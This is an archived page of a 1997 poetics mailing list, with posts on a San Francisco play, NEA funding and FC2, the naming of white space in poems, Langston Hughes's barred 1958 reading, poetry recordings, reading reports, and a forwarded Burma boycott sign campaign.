527. Jeffrey W. Timmons — Re: What is white
528. henry gould — Re: If this is still under discussion . . .
529. Henry Gould — recommended scholarship
530. Jeffrey W. Timmons — Re: What is white
531. Mark Weiss — Re: Is anybody still discussing Bob Perelman
532. henry gould — Re: Bromige-Safdie
533. David Israel — Re: found poem
534. David Israel — Re: Begin migration of all users to new

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535. Carl Lynden Peters — Re: found poem
536. Michael Boughn — Re: recommended scholarship
537. henry gould — Re: recommended scholarship
538. Dale Smith — Re: What is white
539. henry gould — Re: if this is still under discussion
540. Pierre Joris — Re: monk, t.
541. Keith Norris — Re: The New Party
542. Jeff Hansen — safdie-bromige
543. Charles Alexander — Re: Begin migration of all users to new
544. Hank Lazer — Re: monk, t.
545. Don Cheney — Re: found poem
546. Sylvester Pollet — Re: if this is still under discussion
547. henry gould — Re: safdie-bromige
548. Sylvester Pollet — Re: if not to lurk
549. dbkk — Re: Joe Dunn
550. Sylvester Pollet — Re: safdie-bromige
551. Keith Tuma — Re: Is anybody still discussing Bob Perelman
552. Herb Levy — Re: What is white
553. Herb Levy — Re: monk, t.
554. Christopher Alexander — Re: Bromige-Safdie
555. Michael Boughn — Re: if this is still under discussion
556. KENT JOHNSON — L+A+N+G+P+O and New Party
557. Pritchett,Pat — Re: What is white
558. Christopher Alexander — Re: found poem
559. Steven Marks — Re: Bromige-Safdie
560. Kristin Gallagher — Re: The New Party
561. dbkk — Re: What is white
562. William Burmeister Prod — Re: if this is still under discussion
563. Steven Marks — Re: if not to lurk
564. henry gould — Re: if this is still under discussion
565. Michael Boughn — Re: safdie-bromige
566. Matthias Regan — the PostModern Dilemma
567. Mark Prejsnar — Re: The New Party
568. Mark Weiss — Re: the PostModern Dilemma
569. Dave Zauhar — Re: if not to lurk
570. Mark Weiss — Re: if this is still under discussion
571. dbkk — Re: What is white
572. sschu30844 — Re: monk, t.
573. Joe Safdie — Re: monk, t.
574. Sylvester Pollet — Re: if not to lurk

575. Joseph Lease — Re: What is white
576. Michael Franco — Re: Joe Dunn
577. Peter Jaeger — Re: if not to lurk
578. Joseph Lease — Re: safdie-bromige
579. William Burmeister Prod — Re: if this is still under discussion
580. Joseph Lease — Re: safdie-bromige
581. henry — Re: if not to lurk
582. Christina Fairbank Chirot — Re: if not to lurk
583. David Israel — Re: if not to lurk -Reply
584. Hoa Nguyen — Re: what is white
585. David Bromige — divers
586. David Israel — Re: if not to lurk / stalker
587. Hugh Steinberg — Re: if not to lurk -Reply
588. Matthias Regan — Re: if not to lurk -Reply
589. DS — Re: What is white
590. Dave Zauhar — Re: monk, t.
591. Daniel Zimmerman — Re: What is white
592. Sylvester Pollet — Re: if not to lurk
593. Sylvester Pollet — Re: if not to lurk
594. Mark Weiss — Re: if not to lurk
595. Jeffrey W. Timmons — Re: Is anybody still discussing Bob Perelman

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596. David Bromige — Well no I mean yes
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599. jdhollo — Sandhyabasha, from a while back
600. Pierre Joris — Re: monk, t.
601. George Bowering — Re: swimmers
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603. David R. Israel — Re: helene cixous
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627. Rebecca Weldon — Angkarn by Ginsberg

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660. Charles Alexander — message to the wrong place
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969. Pierre Joris — AG's Re-censored Howl John Whiting ---------- Forwarded Message ----------…
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971. Tom Mandel — tiles, miles, ali, and me
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973. Pierre Joris — Subject
974. Mark Prejsnar — Friendly inquiry
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990. Joel Lewis — National Poetry Month (fwd)

1. dbkk
"*The Schwimmer Effect*"
Tue 1 Apr 1997

Hi everyone, it's Kevin Killian. If you are in San Francisco on Friday, I hope you will come to my new play, which I wrote with a good friend, the painter Scott Hewicker.

In 1949 a small band of would-be actresses and atom scientists (Farrah Fawcett, Elizabeth Taylor, Ursula Andress and Goldie Hawn), together with famed attorney Arlene Schwimmer, the ³pit bull of Hollywood,² gather at Princeton¹s Center for Advanced Studies to develop the Schwimmer Effect. It¹s a device to keep you and your loved ones young forever and it¹s marketed as fragrances, Black Diamonds and White Pearls.

By 1997 the Schwimmer Effect has taken hold of all of Hollywood and indeed the world, except for one tiny corner of mountain fastness in Tibet, where Jack (Dr. Death) Kevorkian, the Dalai Lama (a reformed Ursula Andress) and her ward, Vicki Steubing, join forces to combat an unnatural system of life, death and eternal hype. They watch in horror as the cast of the top NBC sitcom ³Friends² are killed one by one as soon as they turn thirty. Half melodrama, half sci-fi spectacular, and half witch hunt, ³The Schwimmer Effect² boasts a cast of topflight actors and the thrills and chills of the ³Star Wars² adventures! With:

Norma Cole, Margaret Crane, Mark Ewert, Kota Ezawa, Phoebe Gloeckner, Craig Goodman, Clifford Hengst, Kevin Killian, Karla Milosevich, Richard Prouty, Rex Ray, Michelle Rollman and Wayne Smith and Alicia Wing.

Presented by Small Press Traffic
New College Theater
777 Valencia Street
7:30 p.m.
$5-$10 sliding scale
Limited seating. Please call for reservations: 415/[redacted].

Okay, see you everyone!

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2. KENT JOHNSON
Re: Your drug supply, Commander J
Tue 1 Apr 1997

Folks:

Received this from a good friend and poet known to many of you (who, sorry, wishes to remain nameless here), and thought I'd send along since it provides

context to the FC2 matter. Still playing phone-tag with Curt White at FC2, but will post anything I can get.

OK., I'll admit and apologize for my rash annoyance--the discussion on white space is interesting and learned, and I've learned from much of it. But let's see what we can do too to give a hand to these folks at FC2, ok?

Kent

> It is the Republicans' number one priority (the budget is number 2) to wipe
> wipe-out the NEA this year. They have requested something like 2000 works and
> have specified, no shit, poetry fellowships as the thing they most want to
> kill. I visited the NEA when I was in DC, offered my help in whatever way in
> might be helpful. They are already crowded into a little office space,
> understaffed. As Leonard Cohen says (in well funded artful Canada), there's
> not much to save. I think it's gone. I don't have much hope for our
> political system either in my cynical forties. But I think that poetry (and
> teaching) becomes all the more important as people find they do not have the
> vocabulary or syntax to articulate their feelings in ways that aren't
> prefabbed by tv sitcoms. I mean this quite literally. I think people lose
> contact with the originality of their own suffering. I think many of us feel
> feelings that are prescribed to us by advertisements, movies, capitalist
> culture. Of course such a population, incapable of expression or complex
> comprehension, turns to pornography and violence. In DC the Post covers the
> most heartless, coldblooded and remorseless murders by 14 year olds of 10 and
> 12 year olds that you could possibly believe.

↑ Index

3. KENT JOHNSON

FC2 info

Tue 1 Apr 1997

Just talked to Curt White at FC2. They have loads of stuff pertaining tothe issue in hard copy--anyone wanting a packet can write to Unit for Contemporary Literature, Illinois State Uiverstiy, 109 Fairchild Hall, Normal, IL 61790-4241 ([redacted]).

Curt also told me that there is all sorts of info on Mark America's home page, including statement by FC2, interviews, statements of support from other writer's and artists, etc.--

http\\www.altx.com

Kent

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4. Rob Hardin
BIB/Doug Rice/Man Writes Woman (or possibly not)
Tue 1 Apr 1997

Dave Br wrote:

> *Thanks for the tip, some list one, i looked under "whatsnew" and found the chapter from one of the novelists in question as well as an interview with Doug Rice. I liked the writing in the novel. Enjoyed the orgasm. Of course, its one more man writing abt woman's sexuality. Do any of the women on the list find it accurate?*

As much as I intend not to haunt this list, I must inform you of this on Doug Rice's behalf: Rice's _Blood of Mugwump_ is far less gender-specific than you might think. The lines between male and female are blurred precisely because the author is ambivalent as to h/e/i/r/s own gender within the gender narrative. And if my statement itself sounds ambivalent, then I must tactfully refer you to Chi Chi Valenti's inspired site, Jackie 60 (click-and-drag):

http://www.echonyc.com/~interjackie/.

Thus, the question of a "man writing abt woman's sexuality" is rather more complex than it might appear--which ties in splicely with author/mugwump Doug Rice's Faulknerian identity questions.

All the best,

Rob Hardin

http://www.users.interport.net/~scrypt/
http://www.horrornet.com/hardin.htm

↑ Index

5. David Bromige
doug rice & the other fella
Tue 1 Apr 1997

Rob Hardin et al: but what i wrote was that i had read the i'view with doug rice & the chapter by the other man, a dutch-sounding name i cant now recall. it was to the latter (with its lengthy evocation of orgasm) that i was referring. Sorry for the confusion., db

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6. Douglas Barbour
Re: Pierre Joris & Kent Johnson
Tue 1 Apr 1997

Pierre

Thanks for the clarification. Btw, we would want to call Celan a 'citizen', wouldnt we? A suffering one, to boot. And the concept of being one, & having one's citizenship stripped from one are hovering over a lot of the poems, I think?

How does one 'write' one's 'citizenship' into one's poems? Not just one way, I'm pretty sure... On the other hand, if 'Maximus' wasnt a 'citizen,' who was?

As a Canadian I can sympathize with Kent Johnson's worries, but I dont have a representative to write to. I cheer from the sidelines on this one. On the other hand, it is possible, isnt it?, that the writers herein are continuing to talk about those seductive gaps here & writing letters or e-notes to their congresspeople offline? Why not? I send my letters to MPs separately from any list...

========== Douglas Barbour
the precision of openness Department of English is not a vagueness

University of Alberta it is an accumulation Edmonton Alberta T6G 2E5 cumulous [redacted] FAX:[redacted] bpNichol H: [redacted]

↑ Index

7. by way of BETH LEE SIMON <[redacted]>" <[redacted]>
last call for abs: forum on deixis
Tue 1 Apr 1997

Last call to submit an abstract or proposal to participate in the forum on deixis.

CALL FOR ABSTRACTS/PROPOSALS

STUDIES IN DEIXIS: WORKING THE MARGINS OF PRAGMATICS AND SEMANTICS

for the Midwest Modern Language Association Meeting,
Chicago, November 6-8, 1997, Ramada Congress Hotel

Abstracts are being accepted for "Studies in Deixis: Working the Margins of Pragmatics and Semantics." The multidimensionality of deixis, a linguistic phenomenon at the heart of communication, remains one of the most intriguing aspects of human language. It is impossible to imagine communication that

functions without deixis. Deictic elements such as pronouns, demonstrative adjectives, and spatial or temporal adverbs, express a user-centered perspective on time, place and person relationships in the social context of an utterance; simultaneously, they denote formal grammatical functions within an utterance. The aim of the forum is to bring together scholars working on different aspects of deixis--from formal linguistics to stylistics--to discuss the activity that occurs at the intersection of language and reality/structure and function. Publication of the proceedings is planned.

Abstracts/proposals should be a maximum of 150 words in length and must be received by Friday, April 4, 1997.

Send abstracts (e-mail or fax preferred) to:

Beth Lee Simon
Dept. of English and Linguistics
Indiana University Purdue University
Fort Wayne, IN 46805
[redacted]
fax: [redacted]

and/or

Anna Fellegy, Department of English, 207 Lind Hall, #185,
University of Minnesota, Minneapolis MN 55455
[redacted]

↑ Index

8. Franklin Bruno

white caesura

Tue 1 Apr 1997

Steven Marks said:

> *white caesurae -- This gets my vote. Indicates both the visual and the breath gap in a term that seems to suggest a mythological creature.*

What if the poem's printed on pink paper?

fjb

↑ Index

9. Stephen Vincent
Re: BP's Question / gaps caesurae lacunae
Tue 1 Apr 1997

Curious - as an odd echo to this whole discussion- to now remember Gap's early ad & song campaign:
"Fall into the Gap" - and find a fashion cornucopia(?)
If I remember right, their name was chosen to vibrate with "Generation Gap" - that then (late 60's, early 70's?)
popular phrase became capitalist framing (marketing, social healing(?))
device. We (real adults) sell on one side of the
Gap and you (the young) buy on the other. That will make peace!
How this all might relate to inarticulated silences in the poem I'm left somewhat agape.

Cheers,
Stephen Vincent

↑ Index

10. Bob Grumman
The color of Caesurae
Tue 1 Apr 1997

Franklin Bruno wrote about white caesurae: "What if the poem's printed on pink paper?" Otherwhere, Luigi-Bob Drake wrote me about a poem of bpNichol's that has a "white caesura" in it but was printed on lilac paper. Great, I say to both: colored caesurae! Not just white but pink and violet caesurae, and yeller and scarlet!

I still think, though, that all such colored caesurae, in essence, are white, whatever concealing color they are overpainted with. But I suspect that further reflection is called for.

--Bob G

↑ Index

11. Laura Moriarty
Langston Hughes at the Poetry Center
Tue 1 Apr 1997

Hi Kevin -

I looked in our Langston Hughes file when I read your post, but was surprised not to find any mention of trouble when he read for the Center in 1958. (There are documents in other files about troubled readings. There was apparently

some official worry about a reading of ("cult leader") Allen Ginsberg that is documented in his file.) Hughes was invited to read by Ruth Witt-Diamant, as you mention, who also arranged several other West Coast readings for him. It is interesting that S.I. Hiyakawa is mentioned as arranging an event for Hughes in relation to jazz. The tape of his reading says that Hughes read at the SF Art Museum, which was a usual venue for the Center at that time.

Our file consists of xeroxes. I have no way of knowing if it is complete. You are welcome to look through it.

Best-
Laura

[redacted]

> *Dear Simon Schuchat, it's Kevin Killian, thanks for your remarks about my talk printed in the Church Newsletter. >I just want to say that Kevin Killian's piece "Faggot Vomit: Jack Spicer vs. 'the Maidens'" in the most recent issue of the Poetry Project newsletter is great.*
>
> *When will the Spicer bio be available?*
>
> *I'm supposed to finish it by June 15th then send it in to Wesleyan. Lew Ellingham and I are racing against time as usual. The death in 1996 of the Canadian modernist Dorothy Livesay underlines this vividly (Livesay was very helpful to me and Lew at the very end of her extraordinary life.) Now, as so often in the past, I need the help of poetics list members. I'm writing now about the San Francisco events of November and December 1958 when Spicer, along with other San Francisco and Berkeley intellectuals and bohemians, joined the fight against the administration of San Francisco State to protest its refusal to let Langston Hughes read at the SF State Poetry Center, where he had been invited by its founder (Ruth Witt-Diamant), because of his "Communist" past. I'm sure I can't be the only one to have covered this episode, which has so many resonances (Cold War politics, black/white relations in avant-garde poetry, homosexuality and the left, San Francisco as nexus for radical/conservative politics, etc., etc.) but I've looked in all the likely places and can't find much coverage of it at all. Even the Hughes biographies I've looked at don't mention his visit to San Francisco. [To cut to the chase, Hughes was not allowed to read on campus by Dumke, president of State, but eventually wound up reading on a houseboat--oh the irony!--provided by sympathetic admirers and anti-anti-Communists] Can anyone suggest any material on this outside of contemporary newspaper coverage? If so thanks very much.*
>
> *I'm always thanking you all and you always come through.*
>
> *Kevin K.*

↑ Index

12. Steven Marks
Politics at the Gap
Tue 1 Apr 1997

Stephen Vincent wrote:

Curious - as an odd echo to this whole discussion- to now remember Gap's early ad & song campaign:
"Fall into the Gap" - and find a fashion cornucopia(?)
If I remember right, their name was chosen to vibrate with "Generation Gap" -
that then (late 60's, early 70's?)
popular phrase became capitalist framing (marketing, social healing(?)) device. We (real adults) sell on one side of the
Gap and you (the young) buy on the other. That will make peace!

Then from the nameless poet in Kent Johnson's post

> I think people lose
> contact with the originality of their own suffering. I think many of us feel
> feelings that are prescribed to us by advertisements, movies, capitalist
> culture.

Aesthetics is politics. Maybe white caesurae can blank out white tornados.

cheers,
Steven

Steven Marks

http://members.aol.com/swmarks/welcome.html

↑ Index

13. Rachel Loden
heart's lacunae
Tue 1 Apr 1997

KENT JOHNSON wrote (in part):

> *OK., I'll admit and apologize for my rash annoyance--the discussion on white space is interesting and*
> *learned, and I've learned from much of it. But let's see what we can do too to give a hand to these folks at FC2, ok?*

Agreed! And since we're investigating the unnamed--what about an indelicate sensation that haunts the species at century's end? I mean that involuntary shudder overtaking a person, possibly this person, who has just posted some piece of lunch-chuffling idiocy to a list of, say, 400 people? What do we call that?

Poster's remorse? Post-postal tristesse?

Entertaining other nominations,

Rachel L.

↑ Index

14. shoemakers
Re: name gap (fwd)
Tue 1 Apr 1997

---

re: "poetix of car model names": it's true, isn't it, that Marianne Moore was asked by one of the big companies (ford?) to make up model names?

Steve Shoemaker

↑ Index

15. shoemakers
Re: heart's lacunae
Tue 1 Apr 1997

Hey Rachel, back when we were playing the neologism game i coined "flawdacity"--for the fool's courage to post anyway, even when it's probably going to seem dumb later (tho in my example it was 2am, not lunchtime). How about "post-departum repression" for the desire to take it back right after you've plunked the "send" command? Oops, i think i'm getting ready to have it right now...

On Tue, 1 Apr 1997, Rachel Loden wrote:

> *KENT JOHNSON wrote (in part):*
>
> *OK., I'll admit and apologize for my rash annoyance--the discussion on white space is interesting and*
> *learned, and I've learned from much of it. But let's see what we can do too to give a hand to these folks at FC2, ok?*
>
> *Agreed! And since we're investigating the unnamed--what about an indelicate sensation that haunts the species at century's end? I mean that involuntary shudder overtaking a person, possibly this person, who has just posted some piece of lunch-chuffling idiocy to a list of, say, 400 people? What do we call that?*

> *Poster's remorse? Post-postal tristesse?*
>
> *Entertaining other nominations,*
>
> *Rachel L.*

Steve Shoemaker

↑ Index

16. **nuyopoman**
Re: Mouth Almighty Opens Wide, Says "Awe"
Wed 2 Apr 1997

<<Hey Bob,

Geat to hear it. Do me a favor and see if you can record Brenda Coultas. I KNOW you know who she is & I know YOU know her work. Brenda's modesty needs to be supplimented by exposure!! Her wit/intellegence treated with kindness and nurturing.>>

Hey, Bil,

Gee, I wish I could make it to the Fest. You are truly stirring things up.

Be sure to catch USOP -- it's on KET starting this Sat, April 4, at 11:30 PM (I think I've got that right -- would appreciate yr checking and letting me know...)

Now.

As to Ms Coultas, whose poem about the Ostrich Movie I read at a recent reading of mine, so yes, I do agree with you, she'smost talented, this makes for a grabbing conundrum. Mainly, my working for the record label Mouth Almighty doesn't allow much for my recording people, a skill that ain't mine anyhoo. I'm like a translator between the arts.

What I need is poets who have an idea of how their work might translate to the audio medium, not as documentation, but where that (re)presentation finds an appropriate analogue for the text.

If this is voice only, so be it. Bbbbbbbut,,,,,

does the addition of Other Sounds, music, breaths, frog sirens, create the possibility of dancing to it or doing your homework to it. I am speaking of all manner of utilitarian purposes for poetry. To get it via ear when the poet isn't here.

Besides the entire Mouth Almighty Catalogue ("The United States of Poetry," "fLIPPIN THE sCRIPT:Rap Meets Poetry," Michele Serros's "Stories from Chicano Falsa," Wammo's "Fat-Headed Stranger," "Grand Slam! Best of the

National Poetry Slam," Ginsberg's "Ballad of the Skeletons," and the newly released, exquisite!, Sekou Sundiata's "Blue Oneness of Dreams") I would draw your attention to the extraordinary "The Past Didn't Go Anywhere" by Utah Philips and Ani DiFranco on the Righteous Babe label and the required but mixed-bag "A Century of Recorded Poetry" on Rhino, which is worth it for the Rukeyser and Stein alone, and there's oodles more....

as examples.

So, I guess what I'm saying, is that IN the label, I serve the vision (heh heh -- I mean the aural vision. I guess; I mean.) of the poet herself.

That said (heh heh), I'll call Brenda and have a cup of virtual coffee. You got her email?

And by the by, I wonder if anyone has any of the aforementioned CD's, and if there's any critiques about.

How often do you listen do poetry CDs?

How many times do you listen to a single one?

Thanks, List! and Bil

Bob Holman
http://www.mouthalmighty.com

↑ Index

17. Steve Carll
catching up on S.F. readings
Wed 2 Apr 1997

Our story begins at New College on March 14th, when Ed Foster and Giovanni Singleton read to a near-capacity crowd. Dodie Bellamy first introduced Ed, who read from such works as "Four Last Songs For Schubert" and "Wheel of Fortune", dropping such gems as:

anger is my treason
irony was your defence as if it was not solitude
the angel rises from the page
we don't need coffee, we don't need you
your hand becomes a part of my depleted sky
ticky-tock, ticky-tock, T.S. Eliot swallowed a clock
it drew me up and I was tethered to the sun
I am my hierophant
be prominent; I miss you
the first thing seen is true

the obligation each man owes himself is buried in the rhythms of his speech
this jacket is the wind I'm moving in

Then Giovanni, a recent graduate of the Poetics program at New College, read from _Blue Cactus_ and _The Green Book, A Drama in Scenes_, among other pieces. Some of her pithier lines included:

names forgive their meaning
this action believes syllables come inward from behind a decision
drums do not go quietly
the world created with symbols is at times noncommittal
there is a time to be silent and a time to be silent
secrets offer a circle
recognition of a mistake does not free one from desire to make it again
interaction can differentiate from competition
I'm a compulsive but sensitive jaywalker
multitasking has something to do with Mercury

Spotted in the crowd were Kevin Killian, Stephanie Baker, Adam Cornford, Spencer Selby, A.L. Nielsen, Thoreau Lovell, Andrew Joron, Leslie Davis, Norma Cole, Margie Sloan, Hung Tu, Joe Donahue, Simon Pettet, Jack and Adelle Foley, Renee Gladman, Tiffany Higgins, Lito Sandoval, Robert Gluck, Mary Burger, John High, Steve Dickison, Kush, Aaron Shurin, and Pam Lu.

On Monday March 18th there was a Poetics Faculty Reading at New College. Brilliantly hosted by Michael Price, the reading started off with David Meltzer reading from _No Eyes_ and, from _Beat Thing_, a hilarious catalogue of "Beat food":

when you get to Paradise, is it merely nice?
it's all umber, you dig?
when you disappear, fear disappears with you
it's simply zipped and done with mirrors and windows
so, what about Beat food?
wasabi bullet from blasting eyes
feel surge of immortality turn beatnik skins inside out
L.A.'s poor poet horsemeat buffets
suck on paper just to chew as if eating real food.

Lyn Hejinian went next, reading from _A Border Comedy_, from which I excerpt:

brutality delivers nothing but hurry every work of art is an uncommitted crime
I'm afraid of encountering a specter but I know it's only hope since we never
went to bed, our need for murder is superfluous "stupid people dismiss as untrue anything that happens seldom" the driver is dressed in warm cardboard

Then Gloria Frym read a prose poem from a new manuscript called _Tagging_:

it is not as though his personal spirits cannot soar; no... never have we encountered a poet/butcher; this is perhaps sad.

Adam Cornford followed with some sonnets which included the following lines:

lint drifts ectoplasmic
God binary with Godzilla
the window hangs open like a second thought
the universe, drunk with space, expands faster than it can cohere
warm and difficult as friction, without them I take no step
are you where now is?

To end off the evening, Tom Clark gave an emotion-filled reading of recent work which included:

not copper-stripped and subject to the worm
all the ballast of familiar life
old moon yearning in the new moon's arms
what they mourn is as shifting and undefined as can be

The audience was the audience.

The very next night played host to another benefit for Prosodia, the New College literary journal, featuring recent San Francisco resident Duncan McNaughton, who helped invent the Poetics Program at New College back in the 70's, and the lovely and talented Marina Lazzara, another recent graduate. Marina went first, reading from old work and new, dazzling with her twisty-linguisty thoughtforms:

planets that carry their fading to us
a slight touch of pond in the rearview mirror
someone takes a rake to clear the cornea of its pond
the garden on my back is a shoe
they wear their hair like a wig although it is their own
postpone the saucer and forgive us of our planets
even over the intense cinema, you are king

Then Duncan regaled us with work from _The Pilot_, _Valparaiso_, a poem called "Paul Celan Cheers Up", and a "Horse goes into a bar" prose-poem that kept us in stitches. Some lines I snatched were:

the perjury of genius
age and death will have their volition
but neither is a fountainhead
isn't there something else about her, that she mustn't end?
sanity--for that one must travel

northerly, and withdrawn, imagination dwells
I have a horse your friend can ride on, now that he can't ride on the breeze
the mask doesn't hide the world, it uncovers it, like Dario says
we put on the mask, and then we go home
all of what one's love becomes capable of is called knowledge
evidently a soul is infinitely apportionable

Present and accounted for this night were the likes of Simon Pettet, Eddie Berrigan, Steve Dickison, Tina Rotenberg, Steven Jones, Benjamin Hollander, Stephanie Baker, Maggie Schold, Charlie Palau and Sarah Menefee.

Finally on Sunday the 23rd at Canessa Park, Renee Gladman, Mary Burger, Hung Tu, Carl Rakosi, June, Eric Selland, Naoko, Larry Fixel, Benjamin Hollander, Andrew Joron, Michael Price, Adam and Raphael Cornford, Cami Jones, Kevin Killian, Kenlee, Spencer Selby, Jordon Zorker, Colleen Lookingbill, Chris Daniels, Pat Reed, Margie Sloan and Giovanni Singleton gathered to see yet another recent New College grad, Leslie Davis, and New Yorker Geoffrey O'Brien read. Leslie read from some newer short poems and her manuscript _Lucky Pup_. Behold some fragments:

building a shrine to the lost role of mother
there is something intelligent here in this rain
time imitates a solid line
the ones we chose for ushers became pallbearers
love makes itself felt in the desire for shared sleep
I depend on you you rain on me
once the skin is broken there is no other way

Geoffrey read from _The Floating City_ and _Sonic Ode_, revealing the war in his work between narrative and music:

he prays to the absence of a voice
at rest he reshapes his ocean
thrust of the sash upward clears thought
the grass came screaming out of the ground
noise body kept viable by fuzz and slam
as if disappearance were a species of music
coralline architecture of lullaby
they puncture the mountain for flute notes
tram gone groggy

Geoffrey finished by reading a hilarious poem based on a dream, complete with an original dream song with not a half-bad melody. Then we went to Enrico's and talked about film noir.

April's gonna be a busy month for poetry here, with readings coming up by Darin DeStefano, Elizabeth Robinson, and Chris Daniels on the 5th, Deena Metzger on the 9th, Rob Hale, Doug Powell and George Albon on the 12th, John High on the 13th, Avery Burns and Ron Silliman on the 14th, Eileen Myles on the 15th, Steve McCaffery and Liz Willis on the 19th, Bob Grenier and Fanny Howe on the 20th, Kristin Prevallet on the 25th (talk on Helen Adams) and 27th (poetry reading), Barrett Watten on the 26th, Michael Boughn and Brian Lucas on the 27th, and then Ron Johnson on May Day. And that's not counting Kevin Killian's play "The Schwimmer Effect" on April 4th. Whew!

****

[redacted] Steve Carll
http://writing.upenn.edu/epc/mags/antenym
http://writing.upenn.edu/epc/ezines/antenym

In seed-
sense
the sea stars you out, innermost, forever.

--Paul Celan
****

↑ Index

18. Bil Brown
Re: Mouth Almighty Opens Wide, Says "Awe"
Wed 2 Apr 1997

Bob & List,

PO-etry CDs are listened to often, but I think I (and the rest us) are waiting for a ONE shot performance on CD that hits. Tired of the antho-album. One artist, and without the sense of being backed up but maybe the sense (like RASA) of being part of the work as a whole. Early attempt at this (talking Ms. Estep & Mr. such-&-such) are good efforts but are easily forgetable. If we are as Ed Sanders put-it once, "the daemons urging toward the mainstream" then take advice from the indi labels that have made it before. Look at Sup-Pop (for example); making something limited and exclusive - like a poem 7" a month for a year or two) anything to make it collectable to people who wouldn't listen to the digital noise usually.

Maybe, even take example from Nicole Blackman's recent release and find the existing audience of another artist and utilize that to further an ENTIRE genre of popular culture (perf-po-ing is NOW part of pop culture 'cause of the likes of all of us that are doing-it PUBLICly.. spearheaded by you of course :))

... I don't know, it's odd talking about this on THIS list of all places. No one wants to hear this here. A different front, a brooding seriousness about the words, syntax, and sympathy for the phonemes here...

But, since it started here, it should continue. I would LOVE to hear responses from the fringe!

Bil Brown

↑ Index

19. Pierre Joris
[Fwd: radical poetics]
Wed 2 Apr 1997

---

by sarah.albany.edu (8.8.5/8.8.5) with ESMTP id MAA19641
for <[redacted]>; Wed, 2 Apr 1997 12:03:25 -0500 (EST)
(8.7.x for naga.mailbase.ac.uk); Wed, 2 Apr 1997 17:26:43 +0100 (BST)
(8.7.x for naga.mailbase.ac.uk) with SMTP; Wed, 2 Apr 1997 17:26:40 +0100 (BST)
(8.6.12/ for dur.ac.uk) with SMTP; Wed, 2 Apr 1997 17:26:41 +0100
Date: Wed, 2 Apr 1997 17:26:40 +0100 (BST)
From: R I Caddel <[redacted]>
To: british n irish poets <[redacted]>
Subject: radical poetics
to [redacted]

Announcing a twice yearly international of creative action:

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Payment (Sterling only) payable to M.Hrebeniak

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20. David Bromige

doug rice & others (came back as failed mail due to a "missing routing file" search me!

Wed 2 Apr 1997

> *Date: Tue, 01 Apr 1997 19:34 -0600 (CST)*
> *From: [redacted]*
> *Subject: Mail failure*
> *To: David Bromige <[redacted]>*
> *MIME-version: 1.0*
> *Posting-date: Tue, 01 Apr 1997 19:34 -0600 (CST)*
>
> *FROM: AMS/CLLBMCS/POSTMASTER*
> *TO: David Bromige DATE: 04-01-97*
> *TIME: 19:34*
> *SUBJECT: Mail failure*
> *----------*
>
> *[021] Message was not delivered due to missing routing file.*
>
> *----------*
> *FROM: David Bromige (SMTP:[redacted])*
>
> *TO: SMTP:[redacted]*
>
> *SUBJECT: doug rice & the other fella*
>
> *----------*
>
> *Rob Hardin et al: but what i wrote was that i had read the i'view with doug rice & the chapter by the other man, a dutch-sounding name i cant now recall. it was to the latter (with its lengthy evocation of orgasm) that i was referring. Sorry for the confusion., db*

↑ Index

21. Jordan Davis

Ah

Wed 2 Apr 1997

Bob --

I do my homework to recordings of Ted Berrigan and Bernadette Mayer. I've listened to the cd packaged with the Exact Change Yearbook No. 1 many times. The Kerouac boxed set is tremendous, and not bad either is the _Howls Raps Roars_ set, especially the Allen Ginsberg and the Lenny Bruce.

Call me a purist, though, I like the unaccompanied Kerouac readings (what a self that guy put forward!) a lot better than the cute Zoot Sims or the noodly Steve Allen stuff. Which is not to say you can't put forward a great self with some music in the background, but it's tough ...

Getting going,
Jordan

↑ Index

22. Jonathan A Levin
Re: name gap (fwd)
Wed 2 Apr 1997

I have to share Don DeLillo's bit on car names, from White Noise, for those who haven't read it. The scene is the school gym, during an "airborn toxic event" (so it goes), the protagonist (chair of Hitler studies at the College on the Hill) is watching his daughter sleep, and she utters "Toyota Celica":

"A long moment passed before I realized this was the name of an automobile. The truth only amazed me more. The utterance was beautiful and mysterious, gold-shot with looming wonder. It was like the name of an ancient power in the sky, tablet-carved in cuneiform. It made me feel that something hovered. But how could this be? A simple brand name, an ordinary car. How could these near-nonsense words, mumured in a child's restless sleep, make me sense a meaning, a presence? She was only repeating some TV voice. Toyota Corolla, Toyota Celica, Toyota Cressida. Supranational names, computer-generated, more or less universally pronounceable. Part of every child's brain noise, the substatic regions too deep to probe. Whatever its source, the utterance struck me with the impact of a moment of splendid transcendence. I depend on my children for that."

JL

↑ Index

23. Sylvester Pollet
Re: heart's lacunae
Wed 2 Apr 1997

Rachel, aren't you reinventing the wheel? I thought it was called Post Traumatic Stress Disorder. but I love "lunch-chuffling idiocy," especially at this moment when I'm due at a meeting in 20 minutes. thanks! Sylvester

And since we're investigating the unnamed--what about an
>indelicate sensation that haunts the species at century's end? I mean
>that involuntary shudder overtaking a person, possibly this person, who

>has just posted some piece of lunch-chuffling idiocy to a list of, say,
>400 people? What do we call that?
>
>Poster's remorse? Post-postal tristesse?
>
>Entertaining other nominations,
>
>Rachel L.

↑ Index

24. Gwyn McVay
Re: name gap (fwd)
Wed 2 Apr 1997

Moore's choice was Utopian Turtletop.

g.

↑ Index

25. Bob Grotjohn
Re: name gap (fwd)
Wed 2 Apr 1997

[redacted] wrote:
>
> re: "poetix of car model names": it's true, isn't it, that Marianne
> Moore was asked by one of the big companies (ford?) to make up model
> names?
>
> Steve Shoemaker

A car--Ford decided on Edsel (not Moore's choice). Ford didn't use her suggestions, none of which I can remember right now, though one was something like turtletop flyer (might have worked as well as Edsel).

--
Bob Grotjohn

↑ Index

26. Mark Prejsnar
Burma Needs Your Land! (fwd)
Wed 2 Apr 1997

As a Mass. native and longtime resident/social activist in the Boston area, I subscribe to a list that posts left activist announcements for the Eastern Mass. area. I think folks on the list might be interested in the project described below. A genuinely interesting idea about linking our native poetic heritage and political activism!

Mark P.
Atlanta

---------- Forwarded message ----------
Date: Tue, 1 Apr 1997 17:35:31 -0500
From: Nick Jehlen <[redacted]>
To: [redacted]
Subject: Burma Needs Your Land!

Dear Activists,

As part of the effort to build the boycott against companies supporting the Burmese dictators, we're planning a "Burma-Slave" publicity campaign based on the old Burma-Shave roadside signs. Detailed information on the Burma-Shave signs (and the new "Burma-Slave" signs) is provided below.

The idea behind this campaign is to set up signs by the sides of roads bearing short poems which illustrate the connection between Texaco and UNOCAL and the repression and brutality in Burma. Ideally, these signs will be permanent, but in some cases we will have people hold signs in places where long-term signs can't be placed.

If you own land by the side of a highway or road, or know someone who does, please contact Nick Jehlen at the address below. If you are interested in participating in or organizing a Burma Slave protest in your area, please email the address below with information about where you'd like to set up the signs and how many people you could bring to a protest.

Nick Jehlen
email: [redacted]
voicemail: [redacted] (please email when possible to keep phone bills down)

